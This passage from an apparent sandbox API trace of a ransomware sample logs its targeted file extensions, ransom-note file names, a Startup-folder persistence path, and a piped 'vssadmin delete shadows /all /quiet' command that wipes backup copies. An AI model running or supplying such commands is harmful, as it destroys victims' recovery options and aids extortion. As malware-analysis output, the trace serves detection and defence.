0x6f2510 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f2510, Size=0x20) returned 0x66f650 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6782a8, Size=0x10) returned 0x6f2510 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678328, Size=0x10) returned 0x6f28e8 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678298, Size=0x8) returned 0x678318 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6782c8, Size=0x8) returned 0x678358 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f2510, Size=0x20) returned 0x66f808 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f28e8, Size=0x20) returned 0x66f790 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678368, Size=0x8) returned 0x678288 [0240.628] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0240.628] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x63e4b0 | out: hHeap=0x630000) returned 1 [0240.628] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f27c8, Size=0x20) returned 0x66f830 [0240.629] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6f2be0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0240.629] lstrlenW (lpString="C:\\") returned 3 [0240.629] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0240.629] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2be0 | out: hHeap=0x630000) returned 1 [0240.630] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6783e8, Size=0x82) returned 0x6edfb8 [0240.630] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6782c8, Size=0x100) returned 0x63e4b0 [0240.630] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6edfb8, Size=0x104) returned 0x641e70 [0240.630] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x63e4b0, Size=0x200) returned 0x66cf88 [0240.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x678308 | out: hHeap=0x630000) returned 1 [0240.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cf88 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f28d0 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed880 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f28b8 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed908 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f29a8 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x641e70 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2738 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee948 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2918 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6edf28 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2810 | out: hHeap=0x630000) returned 1 [0240.632] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f2888, Size=0x20) returned 0x66f6f0 [0240.632] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f6f0, Size=0x40) returned 0x6423c8 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6783c8 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f27f8 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee5e8 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2798 | out: hHeap=0x630000) returned 1 [0240.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecde0 | out: hHeap=0x630000) returned 1 [0240.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2858 | out: hHeap=0x630000) returned 1 [0240.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x678328 | out: hHeap=0x630000) returned 1 [0240.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2960 | out: hHeap=0x630000) returned 1 [0240.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x645ff0 | out: hHeap=0x630000) returned 1 [0240.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x647518 | out: hHeap=0x630000) returned 1 [0240.633] lstrlenW (lpString="%systemdrive%") returned 13 [0240.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f830 | out: hHeap=0x630000) returned 1 [0240.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed990 | out: hHeap=0x630000) returned 1 [0240.633] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6782a8 | out: hHeap=0x630000) returned 1 [0240.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6acb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfac [0240.634] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f28b8, Size=0x20) returned 0x66f6f0 [0240.634] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f6f0, Size=0x40) returned 0x642650 [0240.634] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642650, Size=0x80) returned 0x6ecbc0 [0240.634] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ecbc0, Size=0x100) returned 0x63e4b0 [0240.634] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x63e4b0, Size=0x200) returned 0x66cf88 [0240.634] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66cf88, Size=0x400) returned 0x6f03b8 [0240.634] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f03b8, Size=0x800) returned 0x6eeba8 [0240.634] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eeba8, Size=0x1000) returned 0x6eeba8 [0240.635] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6783e8, Size=0x8) returned 0x6783a8 [0240.635] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6783a8, Size=0x10) returned 0x6f29f0 [0240.635] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f29f0, Size=0x20) returned 0x66f9c0 [0240.635] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f9c0, Size=0x40) returned 0x642920 [0240.635] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642920, Size=0x80) returned 0x6eda18 [0240.635] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eda18, Size=0x100) returned 0x705578 [0240.635] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x705578, Size=0x200) returned 0x66cf88 [0240.635] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66cf88, Size=0x400) returned 0x6f03b8 [0240.635] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6f03b8, Size=0x800) returned 0x6cefc0 [0240.636] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0240.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eeba8 | out: hHeap=0x630000) returned 1 [0240.636] lstrlenW (lpString="") returned 0 [0240.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce5b0 | out: hHeap=0x630000) returned 1 [0240.636] lstrlenW (lpString=".com") returned 4 [0240.636] lstrlenW (lpString=".com") returned 4 [0240.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce4a8 | out: hHeap=0x630000) returned 1 [0240.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce370, Size=0x20) returned 0x66f6f0 [0240.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f6f0, Size=0x40) returned 0x642920 [0240.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642920, Size=0x80) returned 0x6ecbc0 [0240.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdd10, Size=0x8) returned 0x6cdc20 [0240.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdc20, Size=0x10) returned 0x6ce5e0 [0240.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce5e0, Size=0x20) returned 0x66f768 [0240.636] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0240.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecbc0 | out: hHeap=0x630000) returned 1 [0240.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce508, Size=0x20) returned 0x66f8d0 [0240.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f8d0, Size=0x40) returned 0x642920 [0240.636] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0240.636] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0240.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x642920 | out: hHeap=0x630000) returned 1 [0240.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce4a8, Size=0x20) returned 0x66f8f8 [0240.636] lstrlenW (lpString="Info.hta") returned 8 [0240.636] lstrlenW (lpString="Info.hta") returned 8 [0240.636] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f8f8 | out: hHeap=0x630000) returned 1 [0240.637] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6cf7c8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe")) returned 0x46 [0240.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cf7c8 | out: hHeap=0x630000) returned 1 [0240.637] lstrlenW (lpString="load0.exe") returned 9 [0240.637] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f768, Size=0x40) returned 0x642650 [0240.637] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce4a8, Size=0x20) returned 0x66f768 [0240.637] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce5b0, Size=0x20) returned 0x66f740 [0240.637] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f740, Size=0x40) returned 0x642920 [0240.637] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642920, Size=0x80) returned 0x6ed5d8 [0240.637] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5d8, Size=0x100) returned 0x705578 [0240.637] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0240.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705578 | out: hHeap=0x630000) returned 1 [0240.637] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6cf7c8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0240.637] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705c10 | out: hHeap=0x630000) returned 1 [0240.638] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cf7c8 | out: hHeap=0x630000) returned 1 [0240.869] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdd20, Size=0x8) returned 0x6cdd80 [0240.869] lstrlenW (lpString="%windir%;") returned 9 [0240.869] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f768 | out: hHeap=0x630000) returned 1 [0240.869] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0240.869] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6bcba0 | out: hHeap=0x630000) returned 1 [0240.870] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce490, Size=0x20) returned 0x66f9c0 [0240.870] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f9c0, Size=0x40) returned 0x6e3958 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e3958, Size=0x80) returned 0x6ed550 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed550, Size=0x100) returned 0x705158 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdce0, Size=0x8) returned 0x6cddb0 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cddb0, Size=0x10) returned 0x6ce4c0 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce4c0, Size=0x20) returned 0x66f9c0 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdd90, Size=0x8) returned 0x6cdd10 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdcc0, Size=0x8) returned 0x6cdd30 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdc40, Size=0x8) returned 0x6cdc50 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdc50, Size=0x10) returned 0x6ce658 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce658, Size=0x20) returned 0x66f920 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdd10, Size=0x10) returned 0x6ce718 [0240.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdd30, Size=0x10) returned 0x6ce748 [0240.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdc30, Size=0x8) returned 0x6cdbf0 [0240.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdc30, Size=0x8) returned 0x6cdcc0 [0240.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce718, Size=0x20) returned 0x66f768 [0240.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce748, Size=0x20) returned 0x6e3d48 [0240.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdd10, Size=0x8) returned 0x6cdcf0 [0240.872] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0240.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705158 | out: hHeap=0x630000) returned 1 [0240.872] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce730, Size=0x20) returned 0x6e3e10 [0240.872] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6bcba0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0240.872] lstrlenW (lpString="C:\\") returned 3 [0240.872] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0240.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6bcba0 | out: hHeap=0x630000) returned 1 [0240.873] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdc60, Size=0x82) returned 0x6ee798 [0240.874] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6cdc80, Size=0x100) returned 0x705050 [0240.874] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ee798, Size=0x104) returned 0x641e70 [0240.874] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x705050, Size=0x200) returned 0x66cf88 [0240.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdca0 | out: hHeap=0x630000) returned 1 [0240.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cf88 | out: hHeap=0x630000) returned 1 [0240.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce6a0 | out: hHeap=0x630000) returned 1 [0240.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed990 | out: hHeap=0x630000) returned 1 [0240.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce808 | out: hHeap=0x630000) returned 1 [0240.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eccd0 | out: hHeap=0x630000) returned 1 [0240.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce838 | out: hHeap=0x630000) returned 1 [0240.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x641e70 | out: hHeap=0x630000) returned 1 [0240.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce688 | out: hHeap=0x630000) returned 1 [0240.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ede08 | out: hHeap=0x630000) returned 1 [0240.875] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce748 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee5e8 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce6d0 | out: hHeap=0x630000) returned 1 [0240.876] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce730, Size=0x20) returned 0x6e4018 [0240.876] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e4018, Size=0x40) returned 0x6e3490 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdc70 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce7d8 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6edc58 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce7f0 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecd58 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce8c8 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdc50 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce658 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eed28 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x647098 | out: hHeap=0x630000) returned 1 [0240.876] lstrlenW (lpString="%systemdrive%") returned 13 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e3e10 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecde0 | out: hHeap=0x630000) returned 1 [0240.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdd90 | out: hHeap=0x630000) returned 1 [0240.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6f4be8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd8 [0240.877] WaitForMultipleObjects (nCount=0x2, lpHandles=0x64ad98*=0xfac, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0286.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64ad98 | out: hHeap=0x630000) returned 1 [0286.330] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0286.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x642338 | out: hHeap=0x630000) returned 1 [0286.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705890 | out: hHeap=0x630000) returned 1 [0286.331] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6f4bb0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0286.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0286.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4bb0 | out: hHeap=0x630000) returned 1 [0286.332] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x1088, hWritePipe=0x19fd54*=0x108c) returned 1 [0286.332] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x1258, hWritePipe=0x19fdc4*=0x1184) returned 1 [0286.332] SetHandleInformation (hObject=0x108c, dwMask=0x1, dwFlags=0x0) returned 1 [0286.332] SetHandleInformation (hObject=0x1258, dwMask=0x1, dwFlags=0x0) returned 1 [0286.332] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1088, hStdOutput=0x1184, hStdError=0x1184), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x1160, hThread=0x126c, dwProcessId=0x27b0, dwThreadId=0x2758)) returned 1 [0286.341] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0286.341] WriteFile (in: hFile=0x108c, lpBuffer=0x6eda18*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6eda18*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0286.341] CloseHandle (hObject=0x1160) returned 1 [0286.341] CloseHandle (hObject=0x126c) returned 1 [0286.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0286.342] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0286.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eda18 | out: hHeap=0x630000) returned 1 [0286.342] lstrlenW (lpString="%comspec%") returned 9 [0286.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f647f8 | out: hHeap=0x630000) returned 1 [0286.342] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x102 [0286.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x647538 | out: hHeap=0x630000) returned 1 [0286.342] ExitProcess (uExitCode=0x0) Thread: id = 874 os_tid = 0xdb8 Thread: id = 877 os_tid = 0xdf8 [0226.186] GetACP () returned 0x4e4 [0226.186] GetACP () returned 0x4e4 [0226.186] Sleep (dwMilliseconds=0x0) [0226.290] RtlExitUserThread (Status=0x0) Thread: id = 878 os_tid = 0xdfc [0226.186] GetACP () returned 0x4e4 [0226.186] GetACP () returned 0x4e4 [0226.186] Sleep (dwMilliseconds=0x0) [0226.291] RtlExitUserThread (Status=0x0) Thread: id = 879 os_tid = 0xe00 [0226.187] GetACP () returned 0x4e4 [0226.187] GetACP () returned 0x4e4 [0226.187] Sleep (dwMilliseconds=0x0) [0226.292] RtlExitUserThread (Status=0x0) Thread: id = 880 os_tid = 0xe04 [0226.187] GetACP () returned 0x4e4 [0226.187] GetACP () returned 0x4e4 [0226.187] Sleep (dwMilliseconds=0x0) [0226.292] RtlExitUserThread 